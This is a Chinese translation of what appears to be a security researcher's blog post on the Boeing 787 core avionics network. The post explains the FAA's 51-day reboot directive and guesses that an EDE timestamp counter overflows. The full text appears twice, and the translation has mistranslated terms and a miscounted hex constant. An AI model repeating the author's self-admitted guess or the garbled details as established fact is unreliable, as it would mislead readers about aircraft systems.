几周前，国际监管机构发布信息，波音787运营商在运行51天之时，必须不间断地完全关闭飞机的电源。美国联邦航空局发布了详细说明该问题的适航指令，我很好奇这份文件中包含了哪些细节。

我发现FAA指令中一些可用信息，有足够的信息使我步入正题以了解问题的根本原因。这篇博客文章将利用FAA指令中有趣的信息来获得有关某些航空电子概念的知识。

首先，我们需要介绍与该问题相关的787架构和系统的各个部分。FAA指令明确使用了诸如CDN或CCS之类的首字母缩写词，然后才需要进行根本原因分析。

0x01 通用核心系统介绍（CCS）

与使用分散式航空电子功能打包成独立单元的联邦航空电子体系结构相反，集成模块化航空电子（IMA）体系结构采用了高完整性的分区环境，该环境可在一个飞机上承载多个具有不同关键性的航空电子功能——共享计算平台。波音工程师为787开发了通用核心系统（CCS），这是基于开放IMA航空电子技术的进一步增强版本。

本质上，CCS是一个硬件/软件平台，可提供计算、通信和输入/输出（I / O）服务，以实现实时嵌入式系统。

多个托管功能在虚拟系统环境中共享平台资源，该虚拟系统环境由依赖于VxWorks 653 3,4 OS 的分区机制组成，该分区机制是作为平台设计的一部分实施的。

这种虚拟系统分区环境可确保托管功能相互隔离，因此它支持高度关键的应用程序，还支持较低级别的应用程序完整性。国际法规将故障条件定义为五个级别，按其对飞机，机组人员和乘客的影响进行分类：

A级-Catastrophic

故障可能会导致多人丧生，通常会造成飞机损失。

B级–Hazardous

故障会对安全或性能造成很大的负面影响，会因身体不适或工作量增加而降低机组人员操作飞机的能力，或者会给乘客造成严重或致命的伤害。

C级-Major

故障会大大降低安全裕度，或者会大大增加机组人员的工作量。可能导致乘客不适（甚至轻伤）。

D级–Minor

故障会稍微降低安全裕度，或者会稍微增加机组人员的工作量，例如可能导致旅客不便或更改常规航班计划。

E级-No Effect

故障不会影响安全，飞机运行或机组人员的工作量。

批准为A，B或C级的软件高级认证，其中涉及用于验证和可追溯性的正式流程

DO-178B 6 Level-A软件可能与Level-E应用程序共存于同一物理共享资源中。

图1. VxWorks 653体系结构

理想情况下，无论托管功能或平台资源中是否可能发生故障，这些应用程序都不会相互干扰，这些功能是预先确定的，并通常通过XML或专有二进制格式的可加载配置文件传达给平台组件。

在CCS中，我们可以找到以下主要组成部分：

· 通用处理模块（GPM），可满足功能处理需求

· 支持系统模拟信号，模拟离散信号和串行数字接口（CAN总线8，A429 9等）的远程数据集中器（RDC ）

· 航空电子全双工（A664-P7）交换式以太网10网络，用于平台元素之间的通信

· 这些元件可以包装为线路可更换单元（LRU），也可以模块或卡的形式包装，然后可以组合在机箱或集成的LRU中。

CCS由以下组成：

· 两（2）个通用计算资源（CCR）机箱

· 通用数据网络（CDN）

· 21个RDC

图2. CCS体系结构A

通用计算资源柜

每个CCR机箱具有：

· 两（2）个功率调节模块（PCM）

· 八（8）个通用处理模块（GPM）

· 两（2）个ARINC 664-P7网络机箱交换机（ACS）

· 两（2）个光纤转换器模块（FOX）

· 两（2）个图形生成器（Display and Alert Crew系统的一部分）

图3.波音787 CCR机箱

每个GPM是一个独立的计算平台，可承载飞机系统的运行软件，并为承载的应用程序提供基于ARINC 653标准的分区环境。每个GPM具有相同的硬件和核心操作系统。

这些CCR机箱中的GPM运行托管功能，例如远程配电系统（RPDS），发电机/公共汽车电源控制单元（GCU / BPCU），13个断路器指示和控制，起落架指示和控制，推力管理功能以及飞行管理功能。

通用数据网

CDN是使用IP寻址和相关传输协议（UDP）的高完整性IEEE 802.3以太网。作为符合A664-P7的网络，它还实施确定性定时和冗余管理协议。CDN同时使用光纤电缆和铜线，并直接或通过ACS，FOX或RDC在与其连接的各种飞机系统之间移动系统信息。

图4. 787网络架构

CDN由每个连接端节点中托管的网络端系统（ES）和多个网络交换机组成。

终端系统

在按照A664-P7规范定义的航空电子网络的范围内，我们发现：

终端系统（ES）的主要功能是提供服务，以确保与分区软件进行安全可靠的数据交换。

本质上，ES承担着网络接口控制器（NIC）的角色，它能够维护多个托管应用程序写入和读取的消息的通信端口（排队，采样或SAP）。这是通过虚拟链路（VL）交换以太网帧来完成的，虚拟链路是一种概念上的通信对象，它定义了从一个源到一个或多个目标ES的逻辑单向连接。VL中的业务流的形状应设置为不超过配置的带宽分配间隙（BAG），该带宽表示两个连续帧的第一位之间的最小时间间隔。

图5. CDN中的ES通信

CDN（也在交换机中）中运行的ES与主处理器在物理上是分开的，并通过PCI总线进行接口。从高层的角度来看，它包括：

· 一（1）个定制ASIC

· 两（2）个COTS以太网PHY收发器

· 两（2）个串行配置存储器

· 内存

图6.最终系统板的高级概述

可以通过专有API从主机配置ES。之前已使用DO-178B A级工具（ESBIN）生成了此配置数据，然后将其存储在自定义文件（es_config.bin）中。

CDN交换机中的ES实现了几乎相同的功能，除了一些寻址和冗余操作。

远程数据集中器

CCS中有21个RDC。

图7.远程数据集中器

这些RDC提供了飞机系统之间的接口，这些系统不支持CDN中的A664-P7。

RDC将这些信号转换为ARINC 664数据，反之亦然，因此有效地充当了各种模拟设备的网关，例如传感器或阀门，ARINC 429总线和CAN子网。

从A664-P7的角度来看，这些RDC映射：

· 模拟信号到参数

· A429至通讯端口

· 到参数和通讯端口的CAN总线

结果，高级架构将如下。

图8. CCS的高级概述

为了从整体上更好地说明此体系结构，我们可以简化其中一个托管函数，以了解所有部分如何协同工作。

起落架控制软件在GPM分区中托管的一个CCR中运行。此托管功能分区通过CDN从21个RDC之一接收变速杆的上/下数据以及齿轮和齿轮门位置数据。然后，根据接收到的信号，起落架控制软件可以通过CDN向适当的RDC发布起落架排序命令。然后，RDC可以将特定信号传递给那些致动器，例如，这些致动器会向控制阀供能，以缩回和伸出起落架或打开和关闭起落架舱门。

0x02 根本原因分析

FAA的指令在技术细节上很少。它仅包含对该问题的高级描述；但是，它为读者提供了一些有助于根本原因分析的关键事实：

FAA已收到一份报告，指出连续打开51天后，CCS的过时数据监视功能可能会丢失。这可能会导致CDN消息期限验证的未检测到或未通知丢失，以及CDN切换失败。CDN处理所有对飞行至关重要的数据（包括空速，高度，姿态和发动机运行），并且这种情况可能导致几种潜在的灾难性故障情况。潜在的后果包括：

· 显示两名飞行员的误导性主要姿态数据。

· 在两名飞行员的主要飞行显示器（PFD）上显示误导性的高度。

· 在两名飞行员的PFD上显示误导性的空速数据，但不进行通知

· 故障，失速警告丢失或超速警告。

· 在两个发动机上显示误导性的发动机运行指示。

如果不解决，连续上电51天，CCS的陈旧数据监视功能可能会丢失，这可能导致错误的飞行关键数据被发送并显示为有效数据，从而降低机组人员的能力。保持飞机的安全飞行和着陆。

我将仔细分析每个句子。

FAA已收到一份报告，指出连续打开51天后，CCS的过时数据监视功能可能会丢失。

早在2015年，美国联邦航空局（FAA）颁布了类似的指令，尽管在此情况下对潜在问题的描述更为明确。

波音已向我们建议在实验室测试中发现一个问题。

发电机控制单元（GCU）内部的软件计数器在连续通电248天后将溢出。

因此，基本上，我们可以假设情况大致相同：波音公司在实验室测试中发现了当前问题。

2015年美国联邦航空局（FAA）指令还明确提到波音公司正在开发软件补丁以解决该问题；但是，此当前指令中未提及任何即将发布的补丁。正如我们稍后将看到的，如果漏洞与硬件相关，这是有道理的。

再次提到“ 51天”，最初是指向机箱上的某种溢出。

这可能会导致CDN消息期限验证的未检测到或未通知丢失，以及CDN切换失败。

这句话告诉我们有关问题性质的许多事情。首先，在787中未被检测到或“未通知”的CDN中的任何灾难性错误都是非常意外的，尽管对于我来说，尚不清楚CDN消息时间验证的丢失和CDN切换失败是未被检测到还是仅仅是第一个问题。维护工程师和飞行员都可以通过Flight Deck的维护页面检查CCS交换机和CDN LRU的状态。此外，任何重大故障都将通过中央维护计算功能（CMCF）进行集中，记录和处理。

图9.飞行甲板中的CCS状态

同样，飞行员可以在顶置面板上重置左右CCR。但是，正如FAA指令所述，需要完全关闭电源，因此我们可以假定CCR复位不能解决问题。这意味着问题不仅在CCR中而且在CDN的其他部分中都存在于组件的硬件中。

图10 CCR重置按钮

所以我们有：

· CDN失去了执行能力。

· CDN切换失败。

让我们通过分析CDN中如何加强数据通信完整性来缩小潜在犯罪问题的范围。

CDN中的完整性检查

请记住，CCS是一个异步系统，其中每个分区不仅控制何时生成其数据，而且还将该操作与网络接口分离。在MAC级别，A664-P7规范要求不管PHY的状态如何，都必须输出输出接口，以防止错误传播或旧帧的重新传输。不过，在AFDX航空电子网络中，顺序很重要，因此，当发送分区生成某些数据时，接收方分区希望以相同的顺序收集该数据。

另外，尽管在理论上可以将CCS配置为独立运行，但CCS遵循具有两个不同通道（“ A”和“ B”）的冗余策略进行操作。

图11.帧处理逻辑

为了满足这些要求，ES在发送帧时在AFDX有效载荷之后添加序列号（SN）。ES重置后，此SN为0，然后为1-255。ES中收到的冗余帧遵循“首次有效获胜”策略。请注意，除了顺序完整性外，还有一个检测实际冗余帧的过程，其中使用配置的常数（Skew Max）来限制两个可能冗余帧的有效时间窗口。

图12.常规AFDX框架

这种逻辑对于所有AFDX ES都是通用的，我认为此功能并不是真正的缺陷所在，因为任何问题都将更多地取决于流经CDN的流量，而不是特定的时间段。但是，有趣的是，ES的完整性检查和冗余管理中有些东西使787有点特殊：波音专有的错误检测编码（EDE）协议。

EDE协议

EDE协议在VL级别上工作，以在CDN中添加一层额外的端对端完整性检测。

当波音（Boeing）要求使用EDE启用VL来处理关键和必要数据时，发送方ES将有效负载封装在EDE标头和页脚中。

图13. EDE包装的框架

EDE页眉和页脚包括以下字段：

· SN：绑定到特定COM端口的2字节序列号。对于每个传输的帧，此值都会增加。

· 时间戳：一个6字节的值，使用发送ES的本地时钟域保存发送消息的时间。

· CRC X和CRC Y：这些CRC是使用EDE源ID（仅VL中的ES发送器和接收器才知道的32位值），EDE时间戳和有效负载来计算的。

EDE时间戳与发送ES的时钟域有关，因此CCS需要一种方法来集中并跟踪所有本地时间参考，以便可以正确执行任何时间验证。此任务由“时间管理”功能循环执行，该功能维护一个相对偏移量表，以及CDN中每个ES的时间参考之间的关系。这要归功于请求/响应协议，其中每个ES中的时间代理都由时间管理器定期询问。

然后，通过时间偏移消息将所得的偏移表广播到每个ES，以便ES可以在从另一个ES接收数据时执行EDE时间验证。显然，计算和传播这些偏移量表所需的EDE时间管理数据包无需经过EDE时间验证。

在EDE协议的上下文中，CDN中的时间验证依赖于这些偏移量表的一致性。那么，如果由于某种原因失败了该怎么办？

有几种可能的方案：

· ES未收到偏移表。 该消息被转发到EDE Redundancy Manager，但设置了一个标志以指示其寿命无法验证。

· 时间大于最大配置的时间。 该消息被直接丢弃。

· 时间小于最大配置的时间。 这是预期的情况。该消息将转发到EDE Redundancy Manager，最终到达COM端口。

· 时间不一致。 由于某种原因，该消息似乎存在一个没有意义的时间。例如，假设发送ES设置的时间戳接近其环绕值。执行所需的计算后，接收方ES将获得一个已包装的时间戳记，因此，看起来该消息在实际发送之前就已被接收。该消息已被接受，但仍可以处理，因为它的时间未知。

请记住，此功能是在ASIC中实现的，并且时间戳应该从计数器中得出，我认为整个问题可能都围绕此逻辑。

可能的解释

6字节的EDE时间戳是确保CDN一切顺利的关键。根据定义，此时间戳中的最高有效位设置为0，因此理想情况下，我们将0x7FFFFFFFFFFFF作为EDE时间戳的最大相干值。

ES通过PCI以33MHz的频率从托管应用程序接收数据，因此以类似的时钟频率实现计数器是合理的，以便ASIC可以使用该时钟参考来为准备就绪的消息加盖时间戳。因此，让我们假设计数器理想情况下工作在33MHz上，并且时间戳以某种方式从该计数器导出，同时还要考虑到不同的参数，例如由于跨不同接口（RMII，PCI等）移动数据而导致的延迟和延迟。

通过计算理想计数器（从0开始）运行的频率，以便在51天后回绕EDE时间戳（0x800000000000），我们获得了〜32MHz。这非常接近我们的假设。

CDN处理所有对飞行至关重要的数据（包括空速，高度，姿态和发动机运行），并且这种情况可能导致几种潜在的灾难性故障情况。

我们之前曾介绍过DO-178B认证级别，其中A级对应于灾难性故障，这阻止了持续的安全飞行或着陆。

潜在的后果包括：

· 显示两名飞行员的误导性主要姿态数据。

· 在两名飞行员的主要飞行显示器（PFD）上显示误导性的高度。

· 在两名飞行员的PFD上显示误导性的空速数据，而不会提示故障，以及失速警告或超速警告的丢失。

· 在两个发动机上显示误导性的发动机运行指示。

美国联邦航空局（FAA）文件中涵盖的后果似乎与飞行员不再相信自己的仪器的情况密切相关，在过去的事件中，这一问题已导致悲剧性后果。

在波音787中，所有这些数据都由显示机组警报系统（DCAS）处理。该系统为飞行员提供了飞机安全运行所必需的所有音频，触觉或视觉指示，如下图所示。

图14. DCAS包括多个显示器

如果不解决，连续上电51天，CCS的陈旧数据监视功能可能会丢失，这可能导致错误的飞行关键数据被发送并显示为有效数据，从而降低机组人员的能力。保持飞机的安全飞行和着陆。

最后一段，作为对本博文中阐述内容的总结。

0x03 研究总结

航空安全研究是一个复杂的领域，不仅因为围绕这些技术的机密性，而且由于商业和公司壁垒阻碍了对所需设备的访问。尽管存在所有这些挑战，但我认为促进此类研究的任何努力总能取得回报。

时机也很有趣，因为在将我们的研究报告给波音公司后将近一年，这个缺陷就暴露出来了。波音公司承认他们建立了一个功能齐全的飞机实验室来评估我们提交的问题（涉及CDN），因此我想，他们的后续研究可能会发现这一问题。概括而言，这将是任何安全研究的良好副作用，所有这些研究都在于在人们所依赖的设备和组织中建立适当的信任级别。

不要将我在这里介绍的内容当作波音公司发现的问题的真正根本原因。我可能是对的，但很可能我错了，这是为了满足我的好奇心。

0x04  参考信息

[A] [IOActive White Paper: Arm IDA and Cross Check: Reversing the 787’s Core Network](https://act-on.ioactive.com/acton/attachment/34793/f-cd239504-44e6-42ab-85ce-91087de817d9/1/-/-/-/-/Arm-IDA and Cross Check%3A Reversing the 787's Core Network.pdf)
[1] https://www.federalregister.gov/documents/2020/03/23/2020-06092/airworthiness-directives-the-boeing-company-airplanes
[2] https://www.aviationtoday.com/2007/02/01/integrated-modular-avionics-less-is-more/
[3] https://en.wikipedia.org/wiki/ARINC_653
[4] [https://www.windriver.com/products/product-overviews/vxworks-653-product-overview-multi-core/vxworks-653-product-overview-multi-core.pdf](https://resources.windriver.com/vxworks/vxworks-653-product-overview)
[5] https://www.windriver.com/customers/customer-success/aerospace-defense/boeing/ (404 link broken)
[6] https://en.wikipedia.org/wiki/DO-178B
[7] http://www.artist-embedded.org/docs/Events/2007/IMA/Slides/ARTIST2_IMA_WindRiver_Wilson.pdf
[8] [https://en.wikipedia.org/wi](https://en.wikipedia.org/wiki/CAN_bus)[k](https://en.wikipedia.org/wiki/CAN_bus)[i/CAN_bus](https://en.wikipedia.org/wiki/CAN_bus)
[9] https://en.wikipedia.org/wiki/ARINC_429
[10] https://pdfs.semanticscholar.org/5db4/b539ed7bdec182448ac8d7219db12a8bbc12.pdf
[11] https://en.wikipedia.org/wiki/Line-replaceable_unit
[12] https://bioage.typepad.com/.a/6a00d8341c4fbe53ef0162fbf813b6970d
[13], [14] https://s3.amazonaws.com/public-inspection.federalregister.gov/2015-10066.pdf
[15], [16] https://www.instagram.com/787guide/

几周前，国际监管机构发布信息，波音787运营商在运行51天之时，必须不间断地完全关闭飞机的电源。美国联邦航空局发布了详细说明该问题的适航指令，我很好奇这份文件中包含了哪些细节。

我发现FAA指令中一些可用信息，有足够的信息使我步入正题以了解问题的根本原因。这篇博客文章将利用FAA指令中有趣的信息来获得有关某些航空电子概念的知识。

首先，我们需要介绍与该问题相关的787架构和系统的各个部分。FAA指令明确使用了诸如CDN或CCS之类的首字母缩写词，然后才需要进行根本原因分析。

0x01 通用核心系统介绍（CCS）

与使用分散式航空电子功能打包成独立单元的联邦航空电子体系结构相反，集成模块化航空电子（IMA）体系结构采用了高完整性的分区环境，该环境可在一个飞机上承载多个具有不同关键性的航空电子功能——共享计算平台。波音工程师为787开发了通用核心系统（CCS），这是基于开放IMA航空电子技术的进一步增强版本。

本质上，CCS是一个硬件/软件平台，可提供计算、通信和输入/输出（I / O）服务，以实现实时嵌入式系统。

多个托管功能在虚拟系统环境中共享平台资源，该虚拟系统环境由依赖于VxWorks 653 3,4 OS 的分区机制组成，该分区机制是作为平台设计的一部分实施的。

这种虚拟系统分区环境可确保托管功能相互隔离，因此它支持高度关键的应用程序，还支持较低级别的应用程序完整性。国际法规将故障条件定义为五个级别，按其对飞机，机组人员和乘客的影响进行分类：

A级-Catastrophic

故障可能会导致多人丧生，通常会造成飞机损失。

B级–Hazardous

故障会对安全或性能造成很大的负面影响，会因身体不适或工作量增加而降低机组人员操作飞机的能力，或者会给乘客造成严重或致命的伤害。

C级-Major

故障会大大降低安全裕度，或者会大大增加机组人员的工作量。可能导致乘客不适（甚至轻伤）。

D级–Minor

故障会稍微降低安全裕度，或者会稍微增加机组人员的工作量，例如可能导致旅客不便或更改常规航班计划。

E级-No Effect

故障不会影响安全，飞机运行或机组人员的工作量。

批准为A，B或C级的软件高级认证，其中涉及用于验证和可追溯性的正式流程

DO-178B 6 Level-A软件可能与Level-E应用程序共存于同一物理共享资源中。

图1. VxWorks 653体系结构

理想情况下，无论托管功能或平台资源中是否可能发生故障，这些应用程序都不会相互干扰，这些功能是预先确定的，并通常通过XML或专有二进制格式的可加载配置文件传达给平台组件。

在CCS中，我们可以找到以下主要组成部分：

· 通用处理模块（GPM），可满足功能处理需求

· 支持系统模拟信号，模拟离散信号和串行数字接口（CAN总线8，A429 9等）的远程数据集中器（RDC ）

· 航空电子全双工（A664-P7）交换式以太网10网络，用于平台元素之间的通信

· 这些元件可以包装为线路可更换单元（LRU），也可以模块或卡的形式包装，然后可以组合在机箱或集成的LRU中。

CCS由以下组成：

· 两（2）个通用计算资源（CCR）机箱

· 通用数据网络（CDN）

· 21个RDC

图2. CCS体系结构A

通用计算资源柜

每个CCR机箱具有：

· 两（2）个功率调节模块（PCM）

· 八（8）个通用处理模块（GPM）

· 两（2）个ARINC 664-P7网络机箱交换机（ACS）

· 两（2）个光纤转换器模块（FOX）

· 两（2）个图形生成器（Display and Alert Crew系统的一部分）

图3.波音787 CCR机箱

每个GPM是一个独立的计算平台，可承载飞机系统的运行软件，并为承载的应用程序提供基于ARINC 653标准的分区环境。每个GPM具有相同的硬件和核心操作系统。

这些CCR机箱中的GPM运行托管功能，例如远程配电系统（RPDS），发电机/公共汽车电源控制单元（GCU / BPCU），13个断路器指示和控制，起落架指示和控制，推力管理功能以及飞行管理功能。

通用数据网

CDN是使用IP寻址和相关传输协议（UDP）的高完整性IEEE 802.3以太网。作为符合A664-P7的网络，它还实施确定性定时和冗余管理协议。CDN同时使用光纤电缆和铜线，并直接或通过ACS，FOX或RDC在与其连接的各种飞机系统之间移动系统信息。

图4. 787网络架构

CDN由每个连接端节点中托管的网络端系统（ES）和多个网络交换机组成。

终端系统

在按照A664-P7规范定义的航空电子网络的范围内，我们发现：

终端系统（ES）的主要功能是提供服务，以确保与分区软件进行安全可靠的数据交换。

本质上，ES承担着网络接口控制器（NIC）的角色，它能够维护多个托管应用程序写入和读取的消息的通信端口（排队，采样或SAP）。这是通过虚拟链路（VL）交换以太网帧来完成的，虚拟链路是一种概念上的通信对象，它定义了从一个源到一个或多个目标ES的逻辑单向连接。VL中的业务流的形状应设置为不超过配置的带宽分配间隙（BAG），该带宽表示两个连续帧的第一位之间的最小时间间隔。

图5. CDN中的ES通信

CDN（也在交换机中）中运行的ES与主处理器在物理上是分开的，并通过PCI总线进行接口。从高层的角度来看，它包括：

· 一（1）个定制ASIC

· 两（2）个COTS以太网PHY收发器

· 两（2）个串行配置存储器

· 内存

图6.最终系统板的高级概述

可以通过专有API从主机配置ES。之前已使用DO-178B A级工具（ESBIN）生成了此配置数据，然后将其存储在自定义文件（es_config.bin）中。

CDN交换机中的ES实现了几乎相同的功能，除了一些寻址和冗余操作。

远程数据集中器

CCS中有21个RDC。

图7.远程数据集中器

这些RDC提供了飞机系统之间的接口，这些系统不支持CDN中的A664-P7。

RDC将这些信号转换为ARINC 664数据，反之亦然，因此有效地充当了各种模拟设备的网关，例如传感器或阀门，ARINC 429总线和CAN子网。

从A664-P7的角度来看，这些RDC映射：

· 模拟信号到参数

· A429至通讯端口

· 到参数和通讯端口的CAN总线

结果，高级架构将如下。

图8. CCS的高级概述

为了从整体上更好地说明此体系结构，我们可以简化其中一个托管函数，以了解所有部分如何协同工作。

起落架控制软件在GPM分区中托管的一个CCR中运行。此托管功能分区通过CDN从21个RDC之一接收变速杆的上/下数据以及齿轮和齿轮门位置数据。然后，根据接收到的信号，起落架控制软件可以通过CDN向适当的RDC发布起落架排序命令。然后，RDC可以将特定信号传递给那些致动器，例如，这些致动器会向控制阀供能，以缩回和伸出起落架或打开和关闭起落架舱门。

0x02 根本原因分析

FAA的指令在技术细节上很少。它仅包含对该问题的高级描述；但是，它为读者提供了一些有助于根本原因分析的关键事实：

FAA已收到一份报告，指出连续打开51天后，CCS的过时数据监视功能可能会丢失。这可能会导致CDN消息期限验证的未检测到或未通知丢失，以及CDN切换失败。CDN处理所有对飞行至关重要的数据（包括空速，高度，姿态和发动机运行），并且这种情况可能导致几种潜在的灾难性故障情况。潜在的后果包括：

· 显示两名飞行员的误导性主要姿态数据。

· 在两名飞行员的主要飞行显示器（PFD）上显示误导性的高度。

· 在两名飞行员的PFD上显示误导性的空速数据，但不进行通知

· 故障，失速警告丢失或超速警告。

· 在两个发动机上显示误导性的发动机运行指示。

如果不解决，连续上电51天，CCS的陈旧数据监视功能可能会丢失，这可能导致错误的飞行关键数据被发送并显示为有效数据，从而降低机组人员的能力。保持飞机的安全飞行和着陆。

我将仔细分析每个句子。

FAA已收到一份报告，指出连续打开51天后，CCS的过时数据监视功能可能会丢失。

早在2015年，美国联邦航空局（FAA）颁布了类似的指令，尽管在此情况下对潜在问题的描述更为明确。

波音已向我们建议在实验室测试中发现一个问题。

发电机控制单元（GCU）内部的软件计数器在连续通电248天后将溢出。

因此，基本上，我们可以假设情况大致相同：波音公司在实验室测试中发现了当前问题。

2015年美国联邦航空局（FAA）指令还明确提到波音公司正在开发软件补丁以解决该问题；但是，此当前指令中未提及任何即将发布的补丁。正如我们稍后将看到的，如果漏洞与硬件相关，这是有道理的。

再次提到“ 51天”，最初是指向机箱上的某种溢出。

这可能会导致CDN消息期限验证的未检测到或未通知丢失，以及CDN切换失败。

这句话告诉我们有关问题性质的许多事情。首先，在787中未被检测到或“未通知”的CDN中的任何灾难性错误都是非常意外的，尽管对于我来说，尚不清楚CDN消息时间验证的丢失和CDN切换失败是未被检测到还是仅仅是第一个问题。维护工程师和飞行员都可以通过Flight Deck的维护页面检查CCS交换机和CDN LRU的状态。此外，任何重大故障都将通过中央维护计算功能（CMCF）进行集中，记录和处理。

图9.飞行甲板中的CCS状态

同样，飞行员可以在顶置面板上重置左右CCR。但是，正如FAA指令所述，需要完全关闭电源，因此我们可以假定CCR复位不能解决问题。这意味着问题不仅在CCR中而且在CDN的其他部分中都存在于组件的硬件中。

图10 CCR重置按钮

所以我们有：

· CDN失去了执行能力。

· CDN切换失败。

让我们通过分析CDN中如何加强数据通信完整性来缩小潜在犯罪问题的范围。

CDN中的完整性检查

请记住，CCS是一个异步系统，其中每个分区不仅控制何时生成其数据，而且还将该操作与网络接口分离。在MAC级别，A664-P7规范要求不管PHY的状态如何，都必须输出输出接口，以防止错误传播或旧帧的重新传输。不过，在AFDX航空电子网络中，顺序很重要，因此，当发送分区生成某些数据时，接收方分区希望以相同的顺序收集该数据。

另外，尽管在理论上可以将CCS配置为独立运行，但CCS遵循具有两个不同通道（“ A”和“ B”）的冗余策略进行操作。

图11.帧处理逻辑

为了满足这些要求，ES在发送帧时在AFDX有效载荷之后添加序列号（SN）。ES重置后，此SN为0，然后为1-255。ES中收到的冗余帧遵循“首次有效获胜”策略。请注意，除了顺序完整性外，还有一个检测实际冗余帧的过程，其中使用配置的常数（Skew Max）来限制两个可能冗余帧的有效时间窗口。

图12.常规AFDX框架

这种逻辑对于所有AFDX ES都是通用的，我认为此功能并不是真正的缺陷所在，因为任何问题都将更多地取决于流经CDN的流量，而不是特定的时间段。但是，有趣的是，ES的完整性检查和冗余管理中有些东西使787有点特殊：波音专有的错误检测编码（EDE）协议。

EDE协议

EDE协议在VL级别上工作，以在CDN中添加一层额外的端对端完整性检测。

当波音（Boeing）要求使用EDE启用VL来处理关键和必要数据时，发送方ES将有效负载封装在EDE标头和页脚中。

图13. EDE包装的框架

EDE页眉和页脚包括以下字段：

· SN：绑定到特定COM端口的2字节序列号。对于每个传输的帧，此值都会增加。

· 时间戳：一个6字节的值，使用发送ES的本地时钟域保存发送消息的时间。

· CRC X和CRC Y：这些CRC是使用EDE源ID（仅VL中的ES发送器和接收器才知道的32位值），EDE时间戳和有效负载来计算的。

EDE时间戳与发送ES的时钟域有关，因此CCS需要一种方法来集中并跟踪所有本地时间参考，以便可以正确执行任何时间验证。此任务由“时间管理”功能循环执行，该功能维护一个相对偏移量表，以及CDN中每个ES的时间参考之间的关系。这要归功于请求/响应协议，其中每个ES中的时间代理都由时间管理器定期询问。

然后，通过时间偏移消息将所得的偏移表广播到每个ES，以便ES可以在从另一个ES接收数据时执行EDE时间验证。显然，计算和传播这些偏移量表所需的EDE时间管理数据包无需经过EDE时间验证。

在EDE协议的上下文中，CDN中的时间验证依赖于这些偏移量表的一致性。那么，如果由于某种原因失败了该怎么办？

有几种可能的方案：

· ES未收到偏移表。 该消息被转发到EDE Redundancy Manager，但设置了一个标志以指示其寿命无法验证。

· 时间大于最大配置的时间。 该消息被直接丢弃。

· 时间小于最大配置的时间。 这是预期的情况。该消息将转发到EDE Redundancy Manager，最终到达COM端口。

· 时间不一致。 由于某种原因，该消息似乎存在一个没有意义的时间。例如，假设发送ES设置的时间戳接近其环绕值。执行所需的计算后，接收方ES将获得一个已包装的时间戳记，因此，看起来该消息在实际发送之前就已被接收。该消息已被接受，但仍可以处理，因为它的时间未知。

请记住，此功能是在ASIC中实现的，并且时间戳应该从计数器中得出，我认为整个问题可能都围绕此逻辑。

可能的解释

6字节的EDE时间戳是确保CDN一切顺利的关键。根据定义，此时间戳中的最高有效位设置为0，因此理想情况下，我们将0x7FFFFFFFFFFFF作为EDE时间戳的最大相干值。

ES通过PCI以33MHz的频率从托管应用程序接收数据，因此以类似的时钟频率实现计数器是合理的，以便ASIC可以使用该时钟参考来为准备就绪的消息加盖时间戳。因此，让我们假设计数器理想情况下工作在33MHz上，并且时间戳以某种方式从该计数器导出，同时还要考虑到不同的参数，例如由于跨不同接口（RMII，PCI等）移动数据而导致的延迟和延迟。

通过计算理想计数器（从0开始）运行的频率，以便在51天后回绕EDE时间戳（0x800000000000），我们获得了〜32MHz。这非常接近我们的假设。

CDN处理所有对飞行至关重要的数据（包括空速，高度，姿态和发动机运行），并且这种情况可能导致几种潜在的灾难性故障情况。

我们之前曾介绍过DO-178B认证级别，其中A级对应于灾难性故障，这阻止了持续的安全飞行或着陆。

潜在的后果包括：

· 显示两名飞行员的误导性主要姿态数据。

· 在两名飞行员的主要飞行显示器（PFD）上显示误导性的高度。

· 在两名飞行员的PFD上显示误导性的空速数据，而不会提示故障，以及失速警告或超速警告的丢失。

· 在两个发动机上显示误导性的发动机运行指示。

美国联邦航空局（FAA）文件中涵盖的后果似乎与飞行员不再相信自己的仪器的情况密切相关，在过去的事件中，这一问题已导致悲剧性后果。

在波音787中，所有这些数据都由显示机组警报系统（DCAS）处理。该系统为飞行员提供了飞机安全运行所必需的所有音频，触觉或视觉指示，如下图所示。

图14. DCAS包括多个显示器

如果不解决，连续上电51天，CCS的陈旧数据监视功能可能会丢失，这可能导致错误的飞行关键数据被发送并显示为有效数据，从而降低机组人员的能力。保持飞机的安全飞行和着陆。

最后一段，作为对本博文中阐述内容的总结。

0x03 研究总结

航空安全研究是一个复杂的领域，不仅因为围绕这些技术的机密性，而且由于商业和公司壁垒阻碍了对所需设备的访问。尽管存在所有这些挑战，但我认为促进此类研究的任何努力总能取得回报。

时机也很有趣，因为在将我们的研究报告给波音公司后将近一年，这个缺陷就暴露出来了。波音公司承认他们建立了一个功能齐全的飞机实验室来评估我们提交的问题（涉及CDN），因此我想，他们的后续研究可能会发现这一问题。概括而言，这将是任何安全研究的良好副作用，所有这些研究都在于在人们所依赖的设备和组织中建立适当的信任级别。

不要将我在这里介绍的内容当作波音公司发现的问题的真正根本原因。我可能是对的，但很可能我错了，这是为了满足我的好奇心。

0x04  参考信息

[A] [IOActive White Paper: Arm IDA and Cross Check: Reversing the 787’s Core Network](https://act-on.ioactive.com/acton/attachment/34793/f-cd239504-44e6-42ab-85ce-91087de817d9/1/-/-/-/-/Arm-IDA and Cross Check%3A Reversing the 787's Core Network.pdf)
[1] https://www.federalregister.gov/documents/2020/03/23/2020-06092/airworthiness-directives-the-boeing-company-airplanes
[2] https://www.aviationtoday.com/2007/02/01/integrated-modular-avionics-less-is-more/
[3] https://en.wikipedia.org/wiki/ARINC_653
[4] [https://www.windriver.com/products/product-overviews/vxworks-653-product-overview-multi-core/vxworks-653-product-overview-multi-core.pdf](https://resources.windriver.com/vxworks/vxworks-653-product-overview)
[5] https://www.windriver.com/customers/customer-success/aerospace-defense/boeing/ (404 link broken)
[6] https://en.wikipedia.org/wiki/DO-178B
[7] http://www.artist-embedded.org/docs/Events/2007/IMA/Slides/ARTIST2_IMA_WindRiver_Wilson.pdf
[8] [https://en.wikipedia.org/wi](https://en.wikipedia.org/wiki/CAN_bus)[k](https://en.wikipedia.org/wiki/CAN_bus)[i/CAN_bus](https://en.wikipedia.org/wiki/CAN_bus)
[9] https://en.wikipedia.org/wiki/ARINC_429
[10] https://pdfs.semanticscholar.org/5db4/b539ed7bdec182448ac8d7219db12a8bbc12.pdf
[11] https://en.wikipedia.org/wiki/Line-replaceable_unit
[12] https://bioage.typepad.com/.a/6a00d8341c4fbe53ef0162fbf813b6970d
[13], [14] https://s3.amazonaws.com/public-inspection.federalregister.gov/2015-10066.pdf
[15], [16] https://www.instagram.com/787guide/

